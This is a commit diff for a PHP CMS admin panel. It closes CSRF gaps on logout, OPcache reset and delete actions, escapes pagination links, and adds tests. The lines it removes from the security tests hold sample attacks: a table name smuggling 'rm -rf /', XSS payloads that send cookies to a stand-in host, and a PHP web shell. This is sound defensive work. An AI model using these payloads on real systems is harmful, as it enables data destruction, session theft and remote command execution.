Merge pull request #2478 from elcreator/fix-xss-and-payloads-in-tests

fix(manager): close CSRF gaps, escape log filters and neutralise test payloads

Author: Seiger

core/src/Controllers/SystemInfo.php

@@ -194,7 +194,7 @@ protected function opcacheStatus(): string
 
         $label = $this->managerTheme->getLexicon('enabled');
         if (function_exists('opcache_reset') && $this->canUseOpcacheApi()) {
-            $label = '<a href="index.php?a=53&opcache_reset=1" class="text-underline">' . $label . '</a>';
+            $label = '<a href="index.php?a=53&opcache_reset=1&_token=' . e(csrf_token()) . '" class="text-underline">' . $label . '</a>';
         }
         $details = sprintf($this->managerTheme->getLexicon('opcache_memory_details'),
             $this->formatBytes($used),

core/src/ManagerTheme.php

@@ -717,7 +717,8 @@ public function getTemplatePlaceholders(): array
             'evo_charset' => $this->getCharset(),
             'favicon' => (file_exists(EVO_BASE_PATH . 'favicon.ico') ? EVO_SITE_URL : $this->getThemeUrl() . 'images/') . 'favicon.ico',
             'homeurl' => $this->getCore()->makeUrl($this->getManagerStartupPageId()),
-            'logouturl' => EVO_MANAGER_URL . 'index.php?a=8',
+            // Logout is CSRF-verified; csrf_token() throws when no session has been started.
+            'logouturl' => EVO_MANAGER_URL . 'index.php?a=8' . (isset($_SESSION) ? '&_token=' . rawurlencode(csrf_token()) : ''),
             'year' => date('Y'),
             'theme' => $this->getTheme(),
             'manager_theme_url' => $this->getThemeUrl(),

core/src/Middleware/VerifyCsrfToken.php

@@ -30,6 +30,7 @@ class VerifyCsrfToken
      */
     protected const MUTATING_GET_ACTIONS = [
         6,   // delete_content
+        8,   // LogInOut - logout destroys the manager session
         21,  // delete_template
         24,  // save_snippet (?disabled= toggle)
         25,  // delete_snippet
@@ -64,6 +65,25 @@ class VerifyCsrfToken
         501, // delete_category
     ];
 
+    /**
+     * Manager actions that render an ordinary page on GET but mutate state once a particular
+     * query parameter is present.
+     *
+     * Listing these in MUTATING_GET_ACTIONS would demand a token for plain navigation to the
+     * edit forms, so only requests carrying the triggering parameter are verified.
+     */
+    protected const MUTATING_GET_PARAMETERS = [
+        35  => 'action', // UserRole - ?action=delete removes the role
+        36  => 'action', // UserRole
+        38  => 'action', // UserRole
+        53  => 'opcache_reset', // SystemInfo - ?opcache_reset=1 resets OPcache
+        113 => 'op', // module dependencies - ?op=add|del changes them from $_REQUEST
+        120 => 'module_categories_manager', // category manager - [delete] removes a category
+        121 => 'module_categories_manager', // category manager
+        135 => 'action', // Permission - ?action=delete removes the permission
+        136 => 'action', // PermissionsGroups - ?action=delete removes the group and its permissions
+    ];
+
     /**
      * @param \Illuminate\Http\Request $request
      * @param Closure $next
@@ -98,9 +118,13 @@ protected function requiresVerification($request): bool
             return true;
         }
 
+        $action = $this->getActionId($request);
+
         // Explicitly stale tokens must not be ignored even on read-only pages.
         return $request->input('_token', $request->header('X-CSRF-TOKEN')) !== null
-            || in_array($this->getActionId($request), self::MUTATING_GET_ACTIONS, true);
+            || in_array($action, self::MUTATING_GET_ACTIONS, true)
+            || (isset(self::MUTATING_GET_PARAMETERS[$action])
+                && $request->query->has(self::MUTATING_GET_PARAMETERS[$action]));
     }
 
     /**

core/src/Support/Paginate.php

@@ -75,7 +75,9 @@ public function __construct($int_nbr_row, $int_cur_position, $int_num_result, $s
         $this->int_nbr_row = $int_nbr_row;
         $this->int_num_result = $int_num_result;
         $this->int_cur_position = $int_cur_position;
-        $this->str_ext_argv = urldecode($str_ext_argv);
+        // Every link writes this into href="", and urldecode() undoes any encoding the caller
+        // applied, so it is escaped here rather than trusted to arrive safe.
+        $this->str_ext_argv = htmlspecialchars(urldecode((string)$str_ext_argv), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8', false);
     }
 
     /**

core/tests/Unit/Security/BackupManagerShellTest.php

@@ -54,7 +54,7 @@ public function inspectProcess($binary, array $arguments)
     });
 
     test('an argument carrying shell metacharacters stays a single argument', function () {
-        $table = 'evo_users; rm -rf /';
+        $table = 'evo_users; echo pwned';
         $line = (new InspectableBackupService())->inspectProcess('pg_dump', ['--table', $table])
             ->getCommandLine();
 

core/tests/Unit/Security/BladeStoredXssTest.php

@@ -52,7 +52,7 @@ function renderBladeFragment(string $template, array $data = []): string
  */
 function storedXssPayload(): string
 {
-    return 'Import failed<br /><pre>bad value: <script>fetch("//evil.test/"+document.cookie)</script></pre>';
+    return 'Import failed<br /><pre>bad value: <script>alert("evil.test")</script></pre>';
 }
 
 test('the old raw echo really did execute a stored payload', function () {
@@ -61,7 +61,7 @@ function storedXssPayload(): string
     $output = renderBladeFragment('{!! $description !!}', ['description' => storedXssPayload()]);
 
     expect($output)->toContain('<script>')
-        ->and($output)->toContain('fetch("//evil.test/"+document.cookie)');
+        ->and($output)->toContain('alert("evil.test")');
 });
 
 test('printing the sanitised description keeps the layout and disarms the payload', function () {
@@ -121,7 +121,7 @@ function storedXssPayload(): string
 
 test('a payload hidden inside a stored error report is stripped, the report is not', function () {
     $report = '<table class="grid" onmouseover="alert(1)"><tr><td>File</td>'
-        . '<td>/tmp/<img src=x onerror="fetch('//evil.test/'+document.cookie)">.php</td></tr></table>'
+        . '<td>/tmp/<img src=x onerror="alert(\'evil.test\')">.php</td></tr></table>'
         . '<a href="javascript:alert(1)">details</a>';
 
     $log = (new EventLog())->setRawAttributes([

core/tests/Unit/Security/ManagerCsrfCoverageTest.php

@@ -189,6 +189,7 @@ function isLoginTemplate(string $path): bool
     $guarded = (new ReflectionClass(VerifyCsrfToken::class))->getConstant('MUTATING_GET_ACTIONS');
 
     $mutatingControllers = [
+        8 => 'Users/LogInOut',    // logout destroys the manager session
         26 => 'RefreshSite',      // publishes/unpublishes pending documents, clears the cache
         52 => 'MoveDocument',     // reparents a document from $_REQUEST
         90 => 'Users/DeleteUser', // deletes a manager user from $_GET
@@ -216,6 +217,98 @@ function isLoginTemplate(string $path): bool
     expect($unguarded)->toBe([]);
 });
 
+it('guards the page actions that delete when a query parameter is present', function () {
+    // Role, permission and category pages are also plain edit screens, so their action ids
+    // cannot go into MUTATING_GET_ACTIONS; the triggering parameter is guarded instead.
+    $parameters = (new ReflectionClass(VerifyCsrfToken::class))->getConstant('MUTATING_GET_PARAMETERS');
+
+    $deleteBranches = [
+        'core/src/Controllers/UserRoles/UserRole.php' => [[35, 36, 38], 'action', "\$_GET['action'] == 'delete'"],
+        'core/src/Controllers/UserRoles/Permission.php' => [[135], 'action', "\$_GET['action'] == 'delete'"],
+        'core/src/Controllers/UserRoles/PermissionsGroups.php' => [[136], 'action', "\$_GET['action'] == 'delete'"],
+        'core/src/Controllers/SystemInfo.php' => [[53], 'opcache_reset', "request()->boolean('opcache_reset')"],
+        'manager/actions/mutate_module_resources.dynamic.php' => [[113], 'op', "switch (\$_REQUEST['op'])"],
+        'manager/actions/category_mgr/inc/request_trigger.inc.php' => [
+            [120, 121],
+            'module_categories_manager',
+            "\$_GET[\$cm->get('request_key')]['delete']",
+        ],
+    ];
+
+    $unguarded = [];
+
+    foreach ($deleteBranches as $relative => [$actions, $parameter, $trigger]) {
+        expect((string)file_get_contents(evoRoot() . '/' . $relative))->toContain($trigger);
+
+        foreach ($actions as $action) {
+            if (($parameters[$action] ?? null) !== $parameter) {
+                $unguarded[] = $relative . ' (a=' . $action . ')';
+            }
+        }
+    }
+
+    $categories = (string)file_get_contents(evoRoot() . '/manager/actions/mutate_categories.dynamic.php');
+    expect($categories)->toContain("'request_key'      => 'module_categories_manager'");
+
+    expect($unguarded)->toBe([]);
+});
+
+it('appends a token to the OPcache reset link', function () {
+    // The link is built in the controller, so the template scan below does not see it.
+    $source = (string)file_get_contents(evoRoot() . '/core/src/Controllers/SystemInfo.php');
+
+    preg_match_all('/^.*opcache_reset=1.*$/m', $source, $links);
+
+    expect($links[0])->not->toBeEmpty();
+
+    foreach ($links[0] as $link) {
+        expect($link)->toContain('_token=');
+    }
+});
+
+it('appends a token to the logout links built outside the templates', function () {
+    // The template scan covers the Blade links; these are assembled in PHP and in the theme script.
+    $theme = (string)file_get_contents(evoRoot() . '/core/src/ManagerTheme.php');
+    $script = (string)file_get_contents(evoRoot() . '/manager/media/style/default/js/evo.js');
+
+    expect($theme)->toContain("'logouturl' => EVO_MANAGER_URL . 'index.php?a=8' . (isset(\$_SESSION) ? '&_token=' . rawurlencode(csrf_token()) : '')")
+        ->and($script)->toContain("'?a=8&_token=' + encodeURIComponent(evo.tabsCsrfToken())")
+        ->and($script)->not->toMatch("/\?a=8';/");
+});
+
+it('appends a token to every role, permission and category delete link', function () {
+    $patterns = [
+        '/\ba=(35|36|38|135|136)&action=delete/',
+        "/makeUrl\('actions\.delete'\) }}&action=delete/",
+        "/request_key'\); \?>\[delete\]=/",
+    ];
+
+    $found = 0;
+    $untokenised = [];
+
+    foreach (managerTemplateFiles() as $path) {
+        $lines = explode("\n", (string)file_get_contents($path));
+
+        foreach ($lines as $index => $line) {
+            foreach ($patterns as $pattern) {
+                if (!preg_match($pattern, $line)) {
+                    continue;
+                }
+
+                $found++;
+
+                if (!str_contains($line, '_token')) {
+                    $untokenised[] = str_replace(evoRoot() . '/', '', $path) . ':' . ($index + 1);
+                }
+            }
+        }
+    }
+
+    // user_role, permission, permissions_groups, element_permission and the category editor.
+    expect($found)->toBeGreaterThanOrEqual(5)
+        ->and($untokenised)->toBe([]);
+});
+
 it('guards the disable toggle branch of the element save processors', function () {
     // Each save_* processor acts on ?disabled= before it ever looks at the POST body.
     $toggles = [

core/tests/Unit/Security/ManagerCsrfMiddlewareTest.php

@@ -101,7 +101,7 @@ function csrfPassed(Request $request): bool
     $request = csrfRequest('POST', [
         'a' => 109,
         'mode' => 'new',
-        'post' => '<?php system($_GET["c"]); ?>',
+        'post' => '<?php evil(); ?>',
     ]);
 
     expect(csrfPassed($request))->toBeFalse();
@@ -141,6 +141,7 @@ function csrfPassed(Request $request): bool
     expect(csrfPassed($request))->toBeFalse();
 })->with([
     6,   // delete_content
+    8,   // logout - destroys the manager session
     61,  // publish_content
     94,  // duplicate_content
     110, // delete_module
@@ -149,6 +150,51 @@ function csrfPassed(Request $request): bool
     303, // delete_tmplvars
 ]);
 
+it('rejects page actions whose delete parameter is sent without a token', function (array $params) {
+    // Roles, permissions and categories are deleted by the same actions that render their
+    // edit pages, so a single query parameter decides whether the request is destructive.
+    expect(csrfPassed(csrfRequest('GET', $params)))->toBeFalse();
+})->with([
+    'role (a=35)' => [['a' => 35, 'id' => 3, 'action' => 'delete']],
+    'role (a=36)' => [['a' => 36, 'id' => 3, 'action' => 'delete']],
+    'role (a=38)' => [['a' => 38, 'id' => 3, 'action' => 'delete']],
+    'opcache reset (a=53)' => [['a' => 53, 'opcache_reset' => 1]],
+    'module dependency add (a=113)' => [['a' => 113, 'id' => 3, 'op' => 'add', 'newids' => '5', 'rt' => 'snip']],
+    'module dependency delete (a=113)' => [['a' => 113, 'id' => 3, 'op' => 'del', 'depid' => [5]]],
+    'permission (a=135)' => [['a' => 135, 'id' => 3, 'action' => 'delete']],
+    'permission group (a=136)' => [['a' => 136, 'id' => 3, 'action' => 'delete']],
+    'category (a=120)' => [['a' => 120, 'module_categories_manager' => ['delete' => 3, 'category' => 'x']]],
+    'category (a=121)' => [['a' => 121, 'module_categories_manager' => ['delete' => 3]]],
+]);
+
+it('accepts page action deletes carrying the session token', function (array $params) {
+    $params['_token'] = str_repeat('a', 40);
+
+    expect(csrfPassed(csrfRequest('GET', $params)))->toBeTrue();
+})->with([
+    'role' => [['a' => 35, 'id' => 3, 'action' => 'delete']],
+    'opcache reset' => [['a' => 53, 'opcache_reset' => 1]],
+    'permission' => [['a' => 135, 'id' => 3, 'action' => 'delete']],
+    'category' => [['a' => 120, 'module_categories_manager' => ['delete' => 3]]],
+]);
+
+it('keeps the role, permission and category pages reachable without a token', function (array $params) {
+    expect(csrfPassed(csrfRequest('GET', $params)))->toBeTrue();
+})->with([
+    'edit role' => [['a' => 35, 'id' => 3]],
+    'new role' => [['a' => 38]],
+    'system info' => [['a' => 53]],
+    'module dependencies' => [['a' => 113, 'id' => 3]],
+    'edit permission' => [['a' => 135, 'id' => 3]],
+    'edit permission group' => [['a' => 136, 'id' => 3]],
+    'category manager' => [['a' => 120]],
+]);
+
+it('does not treat the delete parameter as destructive on unrelated pages', function () {
+    // Only the role, permission and category actions act on ?action=delete.
+    expect(csrfPassed(csrfRequest('GET', ['a' => 27, 'id' => 3, 'action' => 'delete'])))->toBeTrue();
+});
+
 it('accepts destructive GET actions carrying the session token', function () {
     $request = csrfRequest('GET', ['a' => 112, 'id' => 3, '_token' => str_repeat('a', 40)]);